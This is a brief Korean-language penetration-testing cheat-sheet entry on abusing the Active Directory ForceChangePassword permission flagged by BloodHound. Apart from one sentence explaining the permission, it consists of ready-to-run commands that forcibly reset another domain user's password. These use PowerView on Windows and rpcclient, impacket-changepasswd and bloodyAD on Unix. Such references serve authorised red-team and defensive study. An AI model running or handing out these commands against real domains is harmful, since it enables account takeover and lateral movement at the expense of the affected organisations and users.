ForceChangePassword

객체에 대해 Change password와 Reset password 권한이 있다면 블러드하운드에서 ForceChangePassword로 표시되며 대상의 패스워드를 강제로 변경할 수 있습니다.

Windows

# PowerView - https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'user-B' -AccountPassword $NewPassword

UNIX

# rpcclient
rpcclient -U user-A 192.168.1.11
setuserinfo2 user-B 23 Password123!

# impacket
impacket-changepasswd -altuser user-A -altpass 'Password123!' contoso/[email protected] -reset

# bloodyAD
bloodyAD --host 192.168.1.11 -d contoso.com -u user-A -p 'Password123!' set password user-B 'Password123!'

References

ForceChangePasswordThe Hacker Recipes